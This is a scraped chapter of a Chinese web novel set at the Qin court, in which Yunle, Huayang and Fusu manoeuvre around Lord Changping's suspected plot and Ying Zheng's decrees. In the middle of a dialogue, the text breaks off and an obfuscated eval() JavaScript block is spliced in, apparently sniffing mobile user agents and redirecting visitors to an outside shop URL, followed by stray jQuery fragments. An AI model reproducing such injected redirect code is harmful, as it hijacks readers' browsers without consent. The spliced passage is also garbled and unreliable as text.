默认冷灰
24号文字
方正启体

45.觉醒

作者:胖头鱼头胖本书字数:K更新时间:
    云乐:“……”


    “芈夫人也是楚国王室血脉。”云乐无语地看着华阳,忍不住开口:“是你大义灭亲,把芈夫人从这种事情里摘出来重要,还是隐瞒楚系重臣叛乱,维持形象重要?”


    不要拎不清啊我的阿姊!


    “我知道了。”华阳看了眼云乐,认真地点了点头:“我这就去章台宫求见父王。”


    云乐顿时把心放下了。


    如此一来,自己就可以把心思放到别的地方去了。


    比如——想个法子把张良抓到秦国来。


    云乐敲了敲桌子,眼看着嬴政的生辰快到了,她还没有想好要送什么东西。


    现在看来,张良似乎不错。


    秦王政二十年秋,一个普普通通的安静午后。


    章台宫突然传出两道旨意。


    其一,斥责昌文君教子不严,罢其官位,并废除华阳公主与公孙嘉婚事,此后两者再无瓜葛。


    其二,罢免昌平君丞相之职,至郢陈以安楚人。


    消息一出,朝野震动。


    昌文君第一时间就赶到了昌平君府上。


    他已经无暇为华阳说话不算话愤怒了,现在他更多的是害怕。


    “兄长!”昌文君神色慌张,面露惊恐:“王上是不是……”


    是不是已经知道了!


    但是他不敢说,深怕隔墙有耳。


    “慌什么。”


    昌平君倒是沉着,毕竟自他知道秦国真的准备灭楚那天起,他就做好了自己被罢免相位的准备。


    “嬴政应当还不知道。”


    不然就不是让自己去郢陈安抚楚人,而是直接将自己下狱了吧。


    还有机会。


    昌平君瞥了眼自家愚蠢的弟弟:“这对于我们来说不是更好吗?”


    他远离咸阳,想做什么都更加方便了,至于昌文君——


    “你留在咸阳,和芈夫人保持联系。”


    “好。”


    “新郑那边怎么说?”


    “已经答应了。”


    “很好。”


    昌平君露出一个尽在掌握之中的笑容。


    一切都在预料之中。


    群臣对这出乎意料的消息惊喜非常。


    现在已经来不及为昌平君丢失相位而悲伤了!接下来登场的是大秦相位之争!


    大家打起精神,努力工作!


    是否能借着这个机会动一动,就看最近的表现了!


    他们揣测着嬴政的想法,一时之间,对于楚系一脉的弹劾如雨后春笋般冒出,还有几个胆大包天的,直指长公子扶苏。


    与沸腾的群臣截然不同的,是在发出两道旨意后骤然静默的咸阳宫。


    “好安静啊。”


    云乐趴在窗边,看着碧蓝的天空感叹。


    身后的阿锦看着云乐的背影浅笑着问道:“如此不好吗?”


    这不就说明,王上的妃嫔也好,公子也好,都没有借此机会争取一番的想法。


    “当然不好啊。”


    云乐叹息一声,这不就显得上蹿下跳的自己司马昭之心路人皆知了吗?


    还有扶苏。


    云乐想到这个兄长就忍不住鼓了鼓嘴。


    她是真的有点看不懂这人了。


    从始至终没有上书,没有反击,甚至连咸阳宫都没回,竟然就这么淡定地忙着学宫的事情。


    是太自信了吗?


    还是……


    从来没有想过继承人的事情呢?


    算了,无所谓。


    此事之后,不管阿兄怎么想都不重要了。


    我是不会给他机会的。


    云乐在心里冷酷地想着。


    章台宫。


    侍人如同一尊尊雕像静默站立,嬴政却难得没有处理政事。


    他左手支颐,闭着眼睛问道:“扶苏呢,在干什么?”


    “长公子正在监造冀阙学宫。”


    嬴政眉头一皱,忍不住问道:“除此之外呢?”


    “……”


    蒙毅停顿了一下,不知道如何回答。


    他该说什么?


    扶苏除了按照王上的吩咐监造冀阙学宫,别的什么也没干?


    用脚指头想都知道,王上对于这个说法绝不会满意。


    “华阳公主日前去见了长公子一面。”蒙毅硬着头皮说。


    嬴政都要气笑了。


    扶苏,自己的长子,对于政治的敏锐度竟然还不如云乐和华阳吗?


    这让他情何以堪。


    “云乐呢,她在干什么。”


    “……云乐君在宫中,并没有什么动静。”


    蒙毅头更痛了。


    他实在不理解王上的子女为何会如此奇葩。


    身为长公子的扶苏安安分分,倒是云乐君和华阳公主,两个人看似安分,背地里的小动作却是一个比一个大。


    嬴政对此倒是不意外,兴致盎然地看向蒙毅:“她在宫外干了什么?”


    “云乐君……派了一批人往新郑去了。”


    具体要干什么,蒙毅还没有查到。


    嬴政想起先前查到的事情,对于云乐的动静倒是心中有数。


    可惜,他一点也高兴不起来。


    嬴政头痛地揉了揉额角,吩咐道:“去把云乐叫来。”


    云乐来得很快。


    嬴政看了眼时辰,又看了眼已经到章台宫的人,沉默不语。


    “我猜父王今日一定会叫我过来。”云乐倒是很淡定:“果然半路就碰上章台宫的人了。”


    “新郑那边怎么回事?”


    饶是心里有了判断,嬴政还是被这么明显的对比噎了一下,干脆开门见山,不对云乐的行为做出任何反应。


    “熊嘉送给阿姊的礼物,是以前韩国的制造方法。我心中好奇,就去查了一下。”


    结果查出来一个大瓜。


    嬴政看了云乐一眼,意味深长。


    云乐也不卖关子了,直接把自己的安排全盘托出。


    “自从发现昌平君和韩国旧贵族有联系之后,我就动用了一点人手,观察了一下两边。”


    嬴政嘴角抽搐,监视就监视,还观察。


    “然后发现新郑那边有人似乎不太安分,就打算派几个人过去提醒一下。”


    “你那是派几个人过去提醒吗?”嬴政忍不住开口:“你明明是让人过去收网!”


    云乐抬头看了眼嬴政,撇了撇嘴:“那您都知道了,还叫我来做什么?”


    还不是怕你没把握好分寸,把新郑的天都给捅破了!


    嬴政没好气地直起身子,警告云乐:“别做得太过分。”


    “……怎么样算过分?”


    云乐有点好奇。


    “治理新郑也要人手,别把人都给杀了。”


    云乐觉得冤枉极了:“我是那种人吗?!”


    “那你说说,你本来怎么计划的。”


    那当然是打土豪分田地啦。


    云乐看看天,看看地,就是不看嬴政:“赵国和燕国都可以,为什么韩国不行?”


    “赵地与我本就有旧怨,燕国更是行刺寡人,他国知道了也不会多想。但要是每一处都这样,你是想增加吞并六国的难度吗?”


    这云乐就不赞同了,她忍不住反驳:“不患寡而患不均,韩地的黔首如果知道阿父如此行为,不用旧贵族鼓动就要反了。”


    “再说了,我这么干之后,燕赵两国不是挺安稳的吗?”


    “那你有想过往


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352156|196263||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后吗?”嬴政敲了敲书案:“如此行径,齐国绝对会奋起反抗,不愿臣服。”


    “那是那些贵族的想法,根本不重要。”


    “那你觉得谁的想法重要?”


    “当然是黔首啦。”云乐理所当然地回答:“黔首有多少人,贵族才多少人。”


    “若是天下黔首都心向大秦,自然能不战而屈人之兵。”


    “黔首?”嬴政冷笑:“蝼蚁能做什么?”


    “能——箪食壶浆以迎王师。”云乐一脸严肃认真:“他们才不是蝼蚁,他们是世界上最强悍的力量。”


    “再说啦,阿父要对秦军有信心啊。”云乐翻脸比翻书还快,说完就嬉皮笑脸道:“就算要出兵齐国,难道阿父还担心打不下来吗?”


    “明明战争才是重塑政权最快的方法吧。”


    嬴政:……


    他不想承认,自己居然被云乐最后一句话给说服了。


    “罢了,那你就去试试吧。”


    和嬴政心中五味杂陈不同,扶苏心中一直都很平静。


    早在那两道旨意发出之前,或者说华阳找上云乐之前,她就来找过扶苏了。


    “阿兄。”她定定地看着扶苏:“熊嘉夜宿女闾被我抓住了。”


    扶苏顿时皱起眉头,仔细观察了一下华阳,发现她神情并不悲伤,松了口气:“那我去求父王取消这桩婚事。”


    “不仅如此,昌平君似有反意,阿兄可知此事?”


    “……先前并不知晓。”


    ——如今你说了,我才知道。


    “那如今阿兄知道了,你有什么想法吗?”


    “……若此事为真,自有父王处置。”扶苏不理解华阳为何这么问。


    “如果父王要彻底清理楚系一派的朝臣呢?”


    阿兄你身负一半楚国血脉,父王若真的这么做了,无异于断了你一只臂膀。


    “秦国是王上的秦国。”扶苏神色认真:“无论王上想要做什么,都不是我应该置喙的。”


    更何况是涉及派系的问题。


    扶苏入朝时间并不短,他深知楚系的势力在朝中树大根深,他并不觉得清理楚系是错误的行为,甚至认为这种行为有利于秦国的发展。


    但是华阳却对扶苏的想法感到无力。


    她目前虽然不确定余下诸公子的想法,但是对于云乐和阴嫚有意涉足朝政甚至意在社稷的想法,她是有所察觉的。


    不是不惊讶她们的大胆,也不是不羡慕她们敢想敢做。


    只是身为扶苏的妹妹,有着楚系的血脉,她不应该,也不可能和她们一样。


    “阿兄可有意太子之位?”


    扶苏挑了挑眉,并不明言,而是说:“但凭王上决断。”


    “好,我明白了。”


    既然扶苏都认为自己不需要楚系的支持,那她又何必听从母妃的话嫁给熊嘉呢?


    华阳看了一眼兄长温和的面庞,垂下眼眸:“阿兄,我会退婚。”


    我也想要为自己活一次。


    扶苏闻言反而笑起来,他摸了摸华阳的头发,认真地告诉妹妹:“华阳,你早该如此了。”


    他从来没有想过把妹妹当做自己的附庸,更不想她成为联姻的工具,最不希望的就是她因为自己做出牺牲。


    从始至终,他都希望华阳能和云乐一样,活得肆意一点,不要把本不该背负的东西背在身上,更不要为了他这个兄长委曲求全。


    可惜从前华阳并不能理解自己的想法。


    但是现在不一样了,扶苏看着似乎解开了某种枷锁的华阳,忍不住感叹:“我此生最庆幸的一件事,就是当初把云乐带到了学室。”


    如果没有云乐把华阳拉来学室,说不定她这辈子都会为了扶苏而活。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)